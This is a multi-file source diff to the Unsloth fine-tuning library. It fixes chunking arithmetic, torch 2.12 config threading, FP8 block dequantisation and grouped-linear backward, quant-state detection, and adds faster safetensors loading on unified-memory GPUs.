--- a/unsloth/dataprep/synthetic.py
+++ b/unsloth/dataprep/synthetic.py
@@ -391,7 +391,7 @@ class SyntheticDataKit:
         assert os.path.exists(filename)
         assert hasattr(self, "tokenizer")
         if not hasattr(self, "max_seq_length"):
-            raise RuntimeError("Please use SynthetidDataKit.from_pretrained(...) first!")
+            raise RuntimeError("Please use SyntheticDataKit.from_pretrained(...) first!")
         if not hasattr(self, "overlap") or not hasattr(self, "max_generation_tokens"):
             raise RuntimeError("Please use prepare_qa_generation first!")
 
@@ -425,8 +425,13 @@ class SyntheticDataKit:
         else:
             # length > max_tokens > overlap here, so length - overlap > 0 and the
             # linspace boundaries below are always non-negative.
-            n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
-            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
+            # Minimal count: overlapping chunks cover `length` in
+            # ceil((length - overlap) / stride) chunks, not ceil(length / stride)
+            # which over-splits just past a stride multiple.
+            n_chunks = int(np.ceil((length - self.overlap) / (max_tokens - self.overlap)))
+            # n_chunks + 1 points: [:-1]/[1:] pairing yields n_chunks ranges; using
+            # n_chunks points gave one fewer, oversized chunk (over max_tokens).
+            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks + 1)).astype(int)
             boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
             boundaries = np.minimum(boundaries, length).tolist()
 
diff --git a/unsloth/import_fixes.py b/unsloth/import_fixes.py
index e5a5d01c2f..5d54815705 100644
--- a/unsloth/import_fixes.py
+++ b/unsloth/import_fixes.py
@@ -172,6 +172,10 @@ if not UNSLOTH_ENABLE_LOGGING:
     # Deprecation warnings from torchao
     warnings.filterwarnings("ignore", message = "`int4_weight_only` is deprecated")
     warnings.filterwarnings("ignore", message = "`int8_weight_only` is deprecated")
+    # torch._check_is_size FutureWarning (called by bitsandbytes 4-bit dequant)
+    warnings.filterwarnings(
+        "ignore", message = r"_check_is_size will be removed", category = FutureWarning
+    )
 
     # TorchAO deprecated import paths (https://github.com/pytorch/ao/issues/2752)
     warnings.filterwarnings(
@@ -253,6 +257,30 @@ if not UNSLOTH_ENABLE_LOGGING:
     )
 
 
+def fix_torch_check_is_size():
+    """Shim torch._check_is_size if a future torch removes it (bitsandbytes 4-bit
+    dequant calls it). The FutureWarning is silenced in suppress_cuda_printf."""
+    try:
+        import torch
+
+        if hasattr(torch, "_check_is_size"):
+            return
+
+        def _check_is_size(
+            i,
+            message = None,
+            *,
+            max = None,
+        ):
+            torch._check(i >= 0, message)
+            if max is not None:
+                torch._check(i <= max, message)
+
+        torch._check_is_size = _check_is_size
+    except Exception:
+        return
+
+
 # Fix up AttributeError: 'MessageFactory' object has no attribute 'GetPrototype'
 # MUST do this at the start primarily due to tensorflow causing issues
 def fix_message_factory_issue():
@@ -1064,6 +1092,135 @@ def fix_triton_compiled_kernel_missing_attrs():
     )
 
 
+def fix_dynamo_config_thread_visibility():
+    """torch 2.12 made torch._dynamo/_inductor config overrides thread-local
+    (ContextVars), so `config.recompile_limit = 1024` set on the main thread is
+    invisible to the autograd worker threads that run backward. Gradient
+    checkpointing recompiles fullgraph gpt-oss kernels there against the default
+    limit of 8, raising FailOnRecompileLimitHit at step 0. Mirror direct config
+    assignments into the process-global entry default (torch <= 2.11 semantics).
+    config.patch(...) and config.load_config(...) also assign via __setattr__ but
+    are thread-local by design, so skip mirroring while inside one (tracked per
+    thread). No-op below torch 2.12 and on any torch without this internal layout.
+    """
+    try:
+        import torch
+
+        if Version(torch.__version__) < Version("2.12.0"):
+            return
+        import torch._dynamo.config as _dynamo_config
+        from torch.utils._config_module import ConfigModule
+        from contextvars import ContextVar
+    except Exception:
+        return
+
+    try:
+        probe = getattr(_dynamo_config, "_config", {}).get("recompile_limit", None)
+        if probe is None or not isinstance(getattr(probe, "user_override", None), ContextVar):
+            # Overrides are not context-local on this torch; nothing to fix.
+            return
+        original_setattr = ConfigModule.__setattr__
+        if getattr(original_setattr, "__unsloth_patched__", False):
+            return
+    except Exception:
+        return
+
+    mirrored_modules = ("torch._dynamo.config", "torch._inductor.config")
+
+    # config.patch(...) and config.load_config(...) also assign via __setattr__, but
+    # their writes are thread-local by design; a per-thread depth counter marks them
+    # so they are not mirrored into the process-global default.
+    import threading
+
+    _scoped_depth = threading.local()
+
+    def _in_scoped_write():
+        return getattr(_scoped_depth, "n", 0) > 0
+
+    def _bump(delta):
+        _scoped_depth.n = getattr(_scoped_depth, "n", 0) + delta
+
+    original_patch = ConfigModule.patch
+    if not getattr(original_patch, "__unsloth_patched__", False):
+
+        @functools.wraps(original_patch)
+        def _patched_patch(self, *args, **kwargs):
+            ctx = original_patch(self, *args, **kwargs)
+            try:
+                cls = type(ctx)  # patch() builds a fresh ConfigPatch class each call
+                if not getattr(cls, "__unsloth_patch_wrapped__", False):
+                    _enter0, _exit0 = cls.__enter__, cls.__exit__
+
+                    def _enter(s, _e = _enter0):
+                        _bump(1)
+                        try:
+                            return _e(s)
+                        finally:
+                            _bump(-1)
+
+                    def _exit(
+                        s,
+                        *a,
+                        _x = _exit0,
+                    ):
+                        _bump(1)
+                        try:
+                            return _x(s, *a)
+                        finally:
+                            _bump(-1)
+
+                    cls.__enter__, cls.__exit__ = _enter, _exit
+                    cls.__unsloth_patch_wrapped__ = True
+            except Exception:
+                pass
+            return ctx
+
+        _patched_patch.__unsloth_patched__ = True
+        ConfigModule.patch = _patched_patch
+
+    # load_config restores a saved config by calling setattr per key (thread-local).
+    original_load_config = getattr(ConfigModule, "load_config", None)
+    if callable(original_load_config) and not getattr(
+        original_load_config, "__unsloth_patched__", False
+    ):
+
+        @functools.wraps(original_load_config)
+        def _patched_load_config(self, *args, **kwargs):
+            _bump(1)
+            try:
+                return original_load_config(self, *args, **kwargs)
+            finally:
+                _bump(-1)
+
+        _patched_load_config.__unsloth_patched__ = True
+        ConfigModule.load_config = _patched_load_config
+
+    @functools.wraps(original_setattr)
+    def _patched_setattr(self, name, value):
+        original_setattr(self, name, value)
+        if _in_scoped_write():
+            return  # transient patch / load_config write: keep it thread-local
+        # Aliases (cache_size_limit -> recompile_limit) re-enter with the real name.
+        if self.__dict__.get("__name__", None) in mirrored_modules:
+            try:
+                entry = self.__dict__["_config"].get(name, None)
+                if entry is not None and entry.alias is None:
+                    entry.default = value
+            except Exception:
+                pass
+
+    _patched_setattr.__unsloth_patched__ = True
+    ConfigModule.__setattr__ = _patched_setattr
+
+    # No replay of existing overrides: unsloth installs this before it sets any
+    # dynamo/inductor config, so the wrapper mirrors every later assignment. Replaying
+    # would also bake a still-active config.patch override into the global default.
+    logger.info(
+        "Unsloth: Patched torch config modules so dynamo/inductor settings "
+        "(e.g. recompile_limit) apply across threads on torch >= 2.12."
+    )
+
+
 def patch_trunc_normal_precision_issue():
     """
     Patch torch.nn.init.trunc_normal_ for low precision tensors to run init in fp32.
@@ -1323,8 +1480,7 @@ def fix_vllm_pdl_blackwell():
 
     if patched:
         logger.info(
-            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - "
-            f"patched: {', '.join(patched)}"
+            f"Unsloth: Applied PDL fix for SM100 ({sm100_gpu_name}) - patched: {', '.join(patched)}"
         )
     else:
         # Just set the env var - vLLM might be an older version without supports_pdl
@@ -2852,7 +3008,7 @@ def maybe_set_windows_rocm_bnb_version():
 
     No-op unless ALL of: Windows, a real HIP torch build (env hints like
     HIP_PATH do not count), a ROCm DLL installed, and no explicit user value.
-    Linux is untouched. Values seeded by Studio's venv sitecustomize.py
+    Linux is untouched. Values seeded by Unsloth's venv sitecustomize.py
     (marked ``UNSLOTH_BNB_ROCM_VERSION_SOURCE=sitecustomize``) are
     redetectable defaults, not overrides; ``UNSLOTH_SKIP_BNB_ROCM_VERSION=1``
     opts out and drops a seeded default. Returns the value set, else None.
diff --git a/unsloth/kernels/cross_entropy_loss.py b/unsloth/kernels/cross_entropy_loss.py
index 39446ec639..0d3bf08c35 100644
--- a/unsloth/kernels/cross_entropy_loss.py
+++ b/unsloth/kernels/cross_entropy_loss.py
@@ -285,9 +285,6 @@ _cross_entropy_backward = triton.heuristics(
 )(_cross_entropy_backward)
 
 
-MAX_FUSED_SIZE = 65536  # 2**16
-
-
 class Fast_CrossEntropyLoss(torch.autograd.Function):
     @staticmethod
     def forward(
diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index ca608fa01b..7a57f91ce1 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 import os
+from contextlib import nullcontext
 import torch
 import torch.nn as nn
 import triton
@@ -24,6 +25,15 @@ from unsloth_zoo.temporary_patches.common import torch_compile
 
 torch_matmul = torch.matmul
 
+
+def _fp8_triton_device_context(tensor: torch.Tensor):
+    if tensor.device.type == "cuda" and torch.cuda.device_count() > 1:
+        return torch.cuda.device(tensor.device)
+    if tensor.device.type == "xpu" and hasattr(torch, "xpu") and torch.xpu.device_count() > 1:
+        return torch.xpu.device(tensor.device)
+    return nullcontext()
+
+
 try:
     from transformers.integrations.finegrained_fp8 import FP8Linear
 except:
@@ -32,6 +42,11 @@ except:
         "Unsloth: FP8 models need importing FP8Linear from `transformers.integrations.finegrained_fp8` but we don't see it."
     )
 
+try:
+    from transformers.integrations.finegrained_fp8 import FP8GroupedLinear
+except:
+    FP8GroupedLinear = None
+
 try:
     from transformers.integrations.fbgemm_fp8 import FbgemmFp8Linear
 except:
@@ -68,7 +83,9 @@ def weight_dequant_kernel(x_ptr, s_ptr, y_ptr, M, N, BLOCK_SIZE: tl.constexpr):
     n = tl.cdiv(N, BLOCK_SIZE)
     offs_m = pid_m * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
     offs_n = pid_n * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
-    offs = offs_m[:, None] * N + offs_n[None, :]
+    # tl.arange is int32, so offs_m * N overflows for tensors with more than
+    # 2**31 elements (e.g. flattened MoE expert stacks); index in int64.
+    offs = offs_m[:, None].to(tl.int64) * N + offs_n[None, :].to(tl.int64)
     mask = (offs_m[:, None] < M) & (offs_n[None, :] < N)
     x = tl.load(x_ptr + offs, mask = mask).to(tl.float32)
     s = tl.load(s_ptr + pid_m * n + pid_n)
@@ -93,7 +110,8 @@ def weight_dequant_block(
         triton.cdiv(M, meta["BLOCK_SIZE"]),
         triton.cdiv(N, meta["BLOCK_SIZE"]),
     )
-    weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        weight_dequant_kernel[grid](x, s, y, M, N, BLOCK_SIZE = block_size)
     return y
 
 
@@ -147,7 +165,8 @@ def act_quant(x: torch.Tensor, block_size: int = 128) -> tuple[torch.Tensor, tor
     def grid(meta):
         return (triton.cdiv(x.numel(), meta["BLOCK_SIZE"]),)
 
-    act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
+    with _fp8_triton_device_context(x):
+        act_quant_kernel[grid](x, y, s, BLOCK_SIZE = block_size)
     return y, s
 
 
@@ -272,32 +291,33 @@ def w8a8_block_fp8_matmul_triton(
     def grid(META):
         return (triton.cdiv(M, META["BLOCK_SIZE_M"]) * triton.cdiv(N, META["BLOCK_SIZE_N"]),)
 
-    _w8a8_block_fp8_matmul[grid](
-        A,
-        B,
-        C,
-        As,
-        Bs,
-        M,
-        N,
-        K,
-        block_n,
-        block_k,
-        A.stride(-2),
-        A.stride(-1),
-        B.stride(1),
-        B.stride(0),
-        C.stride(-2),
-        C.stride(-1),
-        As.stride(-2),
-        As.stride(-1),
-        Bs.stride(1),
-        Bs.stride(0),
-        BLOCK_SIZE_M = BLOCK_SIZE_M,
-        BLOCK_SIZE_N = BLOCK_SIZE_N,
-        BLOCK_SIZE_K = BLOCK_SIZE_K,
-        GROUP_SIZE_M = 8,
-    )
+    with _fp8_triton_device_context(A):
+        _w8a8_block_fp8_matmul[grid](
+            A,
+            B,
+            C,
+            As,
+            Bs,
+            M,
+            N,
+            K,
+            block_n,
+            block_k,
+            A.stride(-2),
+            A.stride(-1),
+            B.stride(1),
+            B.stride(0),
+            C.stride(-2),
+            C.stride(-1),
+            As.stride(-2),
+            As.stride(-1),
+            Bs.stride(1),
+            Bs.stride(0),
+            BLOCK_SIZE_M = BLOCK_SIZE_M,
+            BLOCK_SIZE_N = BLOCK_SIZE_N,
+            BLOCK_SIZE_K = BLOCK_SIZE_K,
+            GROUP_SIZE_M = 8,
+        )
     return C
 
 
@@ -309,13 +329,14 @@ def torchao_block_matmul(
     block_size: tuple[int, int],
     output_dtype: torch.dtype = torch.bfloat16,
 ):
-    out = torchao_blockwise_gemm(
-        act_q.contiguous(),
-        act_scale.contiguous(),
-        weight_q.contiguous(),
-        weight_scale.contiguous(),
-        block_size = block_size[1],
-    )
+    with _fp8_triton_device_context(act_q):
+        out = torchao_blockwise_gemm(
+            act_q.contiguous(),
+            act_scale.contiguous(),
+            weight_q.contiguous(),
+            weight_scale.contiguous(),
+            block_size = block_size[1],
+        )
     return out.to(output_dtype)
 
 
@@ -327,11 +348,42 @@ fp8_block_matmul = (
 )
 
 
+def _blockwise_weight_dequant_any_shape(weight, weight_scale, block_size, out_dtype):
+    """Blockwise fp8 weight dequant for any shape: triton when the weight tiles
+    evenly into block_size, else a torch-native per-block scale expansion."""
+    m, n = weight.shape
+    if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+        weight_scale = weight_scale.to(torch.float32)  # e.g. float8_e8m0fnu scales break triton
+    if weight_scale.numel() == 1:
+        # Per-tensor scale: the normal forward stashes the un-expanded scalar,
+        # which repeat_interleave cannot grow to (m, n). Scale directly.
+        return (weight.to(torch.float32) * weight_scale.float()).to(out_dtype)
+    if m % block_size[0] != 0 or n % block_size[1] != 0 or block_size[0] != block_size[1]:
+        # Uneven tiling, or rectangular blocks. The triton kernel uses a single
+        # BLOCK_SIZE for both axes and derives the column scale stride from it, so
+        # it mis-indexes the scale when block_size[0] != block_size[1]. Expand the
+        # per-block scales in torch, which handles both dimensions independently.
+        s_full = weight_scale.repeat_interleave(block_size[0], 0)[:m]
+        s_full = s_full.repeat_interleave(block_size[1], 1)[:, :n]
+        return (weight.to(torch.float32) * s_full).to(out_dtype)
+    # Even tiling with square blocks: block-quant dequant with the real block size
+    # (weight_dequant would silently default to 128 and dequantize wrongly).
+    return weight_dequant_block(weight, weight_scale, block_size = block_size[0], dtype = out_dtype)
+
+
 class FP8BlockQuantLinear(torch.autograd.Function):
     @staticmethod
     def forward(ctx, X, weight, weight_scale):
         m, n = weight.shape
 
+        if weight_scale.dtype not in (torch.float32, torch.float16, torch.bfloat16):
+            # Upcast (e.g. e8m0) returns a fresh tensor and drops any Python
+            # attribute, so carry block_size across the cast for the lookup below.
+            _scale_block_size = getattr(weight_scale, "block_size", None)
+            weight_scale = weight_scale.to(torch.float32)  # e8m0 scales break triton dtype mapping
+            if _scale_block_size is not None:
+                weight_scale.block_size = _scale_block_size
+
         # Original scale, saved for backward before any transformation
         original_weight_scale = weight_scale
 
@@ -360,6 +412,18 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         if not weight.is_contiguous():
             weight = weight.contiguous()
 
+        if X.shape[-1] % block_size[1] != 0:
+            # Hidden dim not divisible by the activation block: dequant + plain matmul.
+            # Use the original (un-expanded) scale so a scalar per-tensor scale keeps
+            # the fast scalar path in both forward and backward.
+            W_deq = _blockwise_weight_dequant_any_shape(
+                weight, original_weight_scale, block_size, X.dtype
+            )
+            ctx.weight = weight
+            ctx.weight_scale = original_weight_scale
+            ctx.block_size = block_size
+            return torch_matmul(X, W_deq.T).to(X.dtype)
+
         qinput, scale = act_quant(X, block_size[1])
         output = fp8_block_matmul(
             qinput,
@@ -371,11 +435,14 @@ class FP8BlockQuantLinear(torch.autograd.Function):
         )
         ctx.weight = weight
         ctx.weight_scale = original_weight_scale  # Save original for backward
+        ctx.block_size = block_size
         return output.to(X.dtype)
 
     @staticmethod
     def backward(ctx, grad_output):
-        W_deq = weight_dequant(ctx.weight, ctx.weight_scale)
+        W_deq = _blockwise_weight_dequant_any_shape(
+            ctx.weight, ctx.weight_scale, ctx.block_size, grad_output.dtype
+        )
         grad_X = torch_matmul(grad_output, W_deq)
         del W_deq
         return grad_X, None, None
@@ -492,7 +559,8 @@ class FP8_fbgemm_block_linear(torch.autograd.Function):
                     f"Weight shape {weight.shape} and scales shape {weight_scale.shape} is not compatible with block size {bs_n, bs_k}"
                 )
 
-        xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
+        with _fp8_triton_device_context(X):
+            xq, xs = triton_quantize_fp8_block(X, bs_m, bs_n, None)
         # TODO: WARNING - diverges from baseline for high X values, producing
         # gibberish / high starting loss. Do not use until resolved; kept for a
         # future headstart.
@@ -625,3 +693,66 @@ if FbgemmFp8Linear is not None:
     FbgemmFp8Linear.forward = module_forward_patch(fbgemm_fp8_linear, "weight_scale")
 if FP8Linear is not None:
     FP8Linear.forward = module_forward_patch(fp8_block_quant_linear, "weight_scale_inv")
+
+# FP8GroupedLinear's fused grouped matmul has no autograd formula, so training
+# backward fails. In training, use a custom autograd Function: dequant the frozen
+# fp8 weight for a differentiable bmm, saving only the fp8 weight + scale and
+# unwrapping TP shards; eval keeps the fused kernel. Gate on self.training (not
+# is_grad_enabled) so the grad-checkpoint no-grad forward and its recompute match.
+if FP8GroupedLinear is not None:
+    _fp8_grouped_forward_orig = FP8GroupedLinear.forward
+
+    def _fp8_to_local(t):
+        dt = getattr(getattr(torch, "distributed", None), "tensor", None)
+        DTensor = getattr(dt, "DTensor", None) if dt is not None else None
+        return t.to_local() if DTensor is not None and isinstance(t, DTensor) else t
+
+    def _fp8_grouped_dequant(weight, scale_inv, block_size, dtype):
+        # Honor the layer's block size; weight_dequant would assume 128 and mis-scale.
+        if block_size is not None and len(block_size) == 2:
+            return _blockwise_weight_dequant_any_shape(weight, scale_inv.float(), block_size, dtype)
+        return weight_dequant(weight, scale_inv.float()).to(dtype)
+
+    class _FP8GroupedMM(torch.autograd.Function):
+        @staticmethod
+        def forward(ctx, x, weight, scale_inv, n_groups, block_size, bias):
+            weight, scale_inv = _fp8_to_local(weight), _fp8_to_local(scale_inv)
+            hidden = x.shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, block_size, x.dtype)
+            out_per = W.shape[0] // n_groups
+            xg = x.reshape(-1, n_groups, hidden).transpose(0, 1)
+            y = torch.bmm(xg, W.view(n_groups, out_per, hidden).transpose(1, 2))
+            y = y.transpose(0, 1).reshape(*x.shape[:-2], n_groups, out_per)
+            if bias is not None:
+                y = y + bias.view(n_groups, out_per)
+            ctx.save_for_backward(weight, scale_inv)
+            ctx.n_groups, ctx.out_per, ctx.x_shape = n_groups, out_per, x.shape
+            ctx.dtype, ctx.has_bias, ctx.block_size = x.dtype, bias is not None, block_size
+            return y
+
+        @staticmethod
+        def backward(ctx, grad_y):
+            weight, scale_inv = ctx.saved_tensors
+            ng, out_per, hidden = ctx.n_groups, ctx.out_per, ctx.x_shape[-1]
+            W = _fp8_grouped_dequant(weight, scale_inv, ctx.block_size, ctx.dtype).view(
+                ng, out_per, hidden
+            )
+            gy = grad_y.reshape(-1, ng, out_per).transpose(0, 1)
+            grad_x = torch.bmm(gy, W).transpose(0, 1).reshape(ctx.x_shape)
+            grad_bias = gy.sum(1).reshape(-1) if ctx.has_bias else None
+            return grad_x, None, None, None, None, grad_bias
+
+    def _fp8_grouped_forward(self, x):
+        if self.weight.element_size() > 1 or not self.training:
+            return _fp8_grouped_forward_orig(self, x)
+        bias = self.bias if self.has_bias else None
+        return _FP8GroupedMM.apply(
+            x,
+            self.weight,
+            self.weight_scale_inv,
+            self.n_groups,
+            getattr(self, "block_size", None),
+            bias,
+        )
+
+    FP8GroupedLinear.forward = _fp8_grouped_forward
diff --git a/unsloth/kernels/rms_layernorm.py b/unsloth/kernels/rms_layernorm.py
index bc81c5533a..5fc867e0cb 100644
--- a/unsloth/kernels/rms_layernorm.py
+++ b/unsloth/kernels/rms_layernorm.py
@@ -270,7 +270,7 @@ try:
             return fast_rms_layernorm(self, X, gemma = False)
 
 
-except:
+except (ImportError, AttributeError):
     pass
 
 
@@ -281,7 +281,7 @@ def patch_rms_layernorm():
     try:
         import transformers.models.mllama.modeling_mllama
         transformers.models.mllama.modeling_mllama.MllamaTextRMSNorm = Unsloth_MllamaTextRMSNorm
-    except:
+    except (ImportError, AttributeError, NameError):
         pass
     return
 
@@ -293,7 +293,7 @@ def unpatch_rms_layernorm():
     try:
         import transformers.models.mllama.modeling_mllama
         transformers.models.mllama.modeling_mllama.MllamaTextRMSNorm = MllamaTextRMSNorm
-    except:
+    except (ImportError, AttributeError, NameError):
         pass
     return
 
diff --git a/unsloth/kernels/utils.py b/unsloth/kernels/utils.py
index 43ed198a4a..ccfedfdef0 100644
--- a/unsloth/kernels/utils.py
+++ b/unsloth/kernels/utils.py
@@ -282,6 +282,21 @@ def QUANT_STATE(W):
     return getattr(W, "quant_state", None)
 
 
+# fp8 weight dtypes. A `weight_scale` / `weight_scale_inv` should only be treated as a
+# quant state when the weight itself is still fp8. compressed-tensors layers expose an
+# already-dequantized bf16 weight at forward time while keeping a `weight_scale` around;
+# reading that as a quant state routes a bf16 weight into the bitsandbytes fast_gemv /
+# fast_dequantize path, which then reads a missing `absmax` and crashes.
+_FP8_WEIGHT_DTYPES = tuple(
+    dtype
+    for dtype in (
+        getattr(torch, "float8_e4m3fn", None),
+        getattr(torch, "float8_e5m2", None),
+    )
+    if dtype is not None
+)
+
+
 def get_lora_parameters(proj):
     """Return (weight, weight quant_state, lora A, lora B, lora scale).
     With QAT enabled, also fake-quantizes the base layer and lora weights.
@@ -298,9 +313,11 @@ def get_lora_parameters(proj):
         if weight_fake_quantizer is not None:
             W = weight_fake_quantizer(W)
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)
@@ -308,7 +325,10 @@ def get_lora_parameters(proj):
     if getattr(base_layer, "quant_method", None) == "fp8":
         # we need to somehow store and pass this information :)
         W.block_size = getattr(base_layer, "block_size", [128, 128])
-        W_quant.block_size = W.block_size
+        # A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
+        # weight is back to bf16, so it has no quant state to carry the block size.
+        if W_quant is not None:
+            W_quant.block_size = W.block_size
 
     # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
     if getattr(proj, "disable_adapters", True) or proj.merged:
@@ -349,21 +369,26 @@ def get_lora_parameters_bias(proj):
     )  # (proj.base_layer if hasattr(proj, "base_layer") else proj)
     W = base_layer.weight
 
-    # Get quant state for 4bit or FP8
+    # Get quant state for 4bit or FP8. Only fall back to a weight_scale(_inv) when the
+    # weight is still fp8; a bf16 weight (e.g. a decompressed compressed-tensors layer)
+    # must not carry a scale as its quant state or fast_gemv will crash on it.
     W_quant = getattr(W, "quant_state", None)
-    if W_quant is None:
+    if W_quant is None and W.dtype in _FP8_WEIGHT_DTYPES:
         W_quant = getattr(base_layer, "weight_scale_inv", None)
         if W_quant is None:
             W_quant = getattr(base_layer, "weight_scale", None)
 
-    # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
-    if getattr(proj, "disable_adapters", True) or proj.merged:
-        return W, W_quant, None, None, None, base_layer.bias
-
     if getattr(base_layer, "quant_method", None) == "fp8":
         # we need to somehow store and pass this information :)
         W.block_size = getattr(base_layer, "block_size", [128, 128])
-        W_quant.block_size = W.block_size
+        # A decompressed compressed-tensors layer keeps quant_method == "fp8" while its
+        # weight is back to bf16, so it has no quant state to carry the block size.
+        if W_quant is not None:
+            W_quant.block_size = W.block_size
+
+    # if not hasattr(proj, "disable_adapters") or proj.disable_adapters or proj.merged:
+    if getattr(proj, "disable_adapters", True) or proj.merged:
+        return W, W_quant, None, None, None, base_layer.bias
 
     adapter = getattr(proj, "active_adapters", None)
     if adapter is None:
diff --git a/unsloth/models/_uma_safetensors.py b/unsloth/models/_uma_safetensors.py
new file mode 100644
index 0000000000..38d8b7d33a
--- /dev/null
+++ b/unsloth/models/_uma_safetensors.py
@@ -0,0 +1,169 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+
+"""Faster safetensors weight loading on unified-memory (integrated) GPUs.
+
+A direct ``safe_open(..., device=<cuda>)`` on CUDA/HIP UMA GPUs (AMD APUs,
+NVIDIA GB10 Spark) misses torch's fast pinned-DMA path: the mmap-backed
+safetensors buffers aren't recognized, so it falls to a slow per-tensor copy
+with page faults. Cloning each tensor into a normal torch CPU allocation before
+moving it restores the fast path; outputs are bit-identical.
+
+CUDA/HIP only, and only for loads that pass a CUDA device to ``safe_open``
+directly: Intel XPU iGPUs and the CPU-open + later ``.to()`` flows (e.g. bnb /
+HQQ quantized loads) keep the stock path until they can be validated on real
+hardware.
+"""
+
+import os
+import functools
+
+import torch
+
+__all__ = [
+    "is_integrated_unified_memory_gpu",
+    "patch_unified_memory_safetensors_load",
+]
+
+
+@functools.lru_cache(maxsize = None)
+def is_integrated_unified_memory_gpu():
+    """True only when EVERY visible CUDA/HIP device is integrated (UMA).
+
+    Discrete and mixed discrete+iGPU boxes return False (pinned-DMA already
+    works there). Test override: ``UNSLOTH_FORCE_UMA=1`` / ``=0``.
+    """
+    _force = os.environ.get("UNSLOTH_FORCE_UMA")
+    if _force == "1":
+        return True
+    if _force == "0":
+        return False
+    try:
+        if not (hasattr(torch, "cuda") and torch.cuda.is_available()):
+            return False
+        count = torch.cuda.device_count()
+        if count == 0:
+            return False
+        for index in range(count):
+            props = torch.cuda.get_device_properties(index)
+            if not getattr(props, "is_integrated", 0):
+                return False
+        return True
+    except Exception:
+        return False
+
+
+def _is_cuda_target(device):
+    """Does a ``safe_open`` ``device=`` arg name a CUDA/HIP device?"""
+    if isinstance(device, bool):
+        return False
+    if isinstance(device, int):
+        return True
+    if isinstance(device, str):
+        return device == "cuda" or device.startswith("cuda:")
+    try:
+        return isinstance(device, torch.device) and device.type == "cuda"
+    except Exception:
+        return False
+
+
+def patch_unified_memory_safetensors_load():
+    """Wrap ``transformers.modeling_utils.safe_open`` so CUDA-target shard loads
+    open on CPU then clone+``.to(device)``, restoring the UMA fast path.
+
+    Gated to integrated GPUs (no-op on discrete/CPU/XPU/MLX), ``framework="pt"``
+    CUDA targets only, idempotent. Opt out: ``UNSLOTH_DISABLE_UMA_CLONE_LOAD=1``.
+
+    The gate runs lazily inside the wrapper, never here: probing device
+    properties at install would init CUDA during ``import unsloth`` -- breaking
+    fork multiprocessing and preempting ``patch_dgx_spark_memory_config``'s
+    allocator config. Returns ``True`` if the wrapper was installed.
+    """
+    if os.environ.get("UNSLOTH_DISABLE_UMA_CLONE_LOAD") == "1":
+        return False
+    try:
+        from transformers import modeling_utils as _mu
+    except Exception:
+        return False
+    real_safe_open = getattr(_mu, "safe_open", None)
+    if real_safe_open is None:
+        return False
+    if getattr(real_safe_open, "_unsloth_uma_clone", False):
+        return True
+
+    def _clone_move(tensor, device):
+        # Clone into a regular CPU allocation to restore fast pinned-DMA, then
+        # move. The clone transiently doubles the tensor's CPU footprint and can
+        # OOM a low-memory UMA box; fall back to the direct, allocation-free move
+        # (a genuine non-memory error re-raises identically from it).
+        try:
+            return tensor.clone().to(device, non_blocking = False)
+        except (MemoryError, RuntimeError):
+            return tensor.to(device, non_blocking = False)
+
+    class _ClonedSlice:
+        """Proxy over a safetensors ``PySafeSlice`` that clones+moves on read."""
+
+        __slots__ = ("_real", "_device")
+
+        def __init__(self, real, device):
+            self._real = real
+            self._device = device
+
+        def __getattr__(self, name):
+            if name in ("_real", "_device"):
+                raise AttributeError(name)
+            return getattr(self._real, name)
+
+        def __getitem__(self, key):
+            return _clone_move(self._real[key], self._device)
+
+    class _ClonedSafeOpen:
+        """Safetensors-handle proxy: load on CPU, clone+move tensors to CUDA."""
+
+        __slots__ = ("_real", "_device")
+
+        def __init__(self, args, kwargs):
+            self._device = kwargs.get("device", args[2] if len(args) > 2 else "cpu")
+            # Open on CPU; move ourselves.
+            if len(args) > 2:
+                args = args[:2] + ("cpu",) + tuple(args[3:])
+            else:
+                kwargs = dict(kwargs)
+                kwargs["device"] = "cpu"
+            self._real = real_safe_open(*args, **kwargs)
+
+        def __enter__(self):
+            self._real.__enter__()
+            return self
+
+        def __exit__(self, *exc):
+            return self._real.__exit__(*exc)
+
+        def __getattr__(self, name):
+            if name in ("_real", "_device"):
+                raise AttributeError(name)
+            return getattr(self._real, name)
+
+        def get_slice(self, name):
+            return _ClonedSlice(self._real.get_slice(name), self._device)
+
+        def get_tensor(self, name):
+            return _clone_move(self._real.get_tensor(name), self._device)
+
+    @functools.wraps(real_safe_open)
+    def _uma_safe_open(*args, **kwargs):
+        framework = kwargs.get("framework", args[1] if len(args) > 1 else None)
+        device = kwargs.get("device", args[2] if len(args) > 2 else "cpu")
+        # Device check first: non-CUDA loads must not trigger the CUDA-init gate.
+        if (
+            framework in ("pt", "pytorch")
+            and _is_cuda_target(device)
+            and is_integrated_unified_memory_gpu()
+        ):
+            return _ClonedSafeOpen(args, kwargs)
+        return real_safe_open(*args, **kwargs)
+
+    _uma_safe_open._unsloth_uma_clone = True
